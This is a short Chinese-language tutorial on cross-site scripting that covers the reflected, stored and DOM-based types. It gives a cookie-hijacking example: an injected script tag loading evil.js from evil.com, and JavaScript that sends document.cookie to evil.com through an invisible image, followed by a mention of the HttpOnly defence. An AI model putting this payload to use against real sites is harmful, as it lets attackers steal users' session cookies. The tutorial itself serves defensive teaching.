1. 程式人生 > >XSS(Cross Site Script)

XSS(Cross Site Script)

dom節點 base javascrip 需要 http doc strong 存儲型xss cross

類型一:反射型XSS

簡單地把用戶輸入的數據“反射”給瀏覽器。也就是說,黑客需要誘使用戶“點擊”一個惡意鏈接,才能攻擊成功。

類型二:存儲型XSS

把用戶輸入的數據“存儲”在服務器端。這種XSS具有很強的穩定性。

類型三:DOM Based XSS

通過修改頁面DOM節點形成的XSS,稱之為DOM Based XSS。

XSS Payload:

XSS攻擊成功後,攻擊者能夠對用戶當前瀏覽的頁面植入惡意腳本,通過惡意腳本,控制用戶的瀏覽器。這些完成各種具體功能的惡意腳本,被稱為”XSS Payload“。

XSS Payload實際上就是JavaScript腳本。

Cookie劫持案例:

http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>

Payload寫在這個遠程腳本中,避免直接在URL的參數裏寫入大量的JavaScript代碼。在evil.js中,可通過如下代碼竊取Cookie:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

這段代碼在頁面插入了一張看不見的圖片,同時把document.cookie對象作為參數發送到遠程服務器。

Cookie的”HttpOnly“標識可以防止”Cookie劫持“。

XSS(Cross Site Script)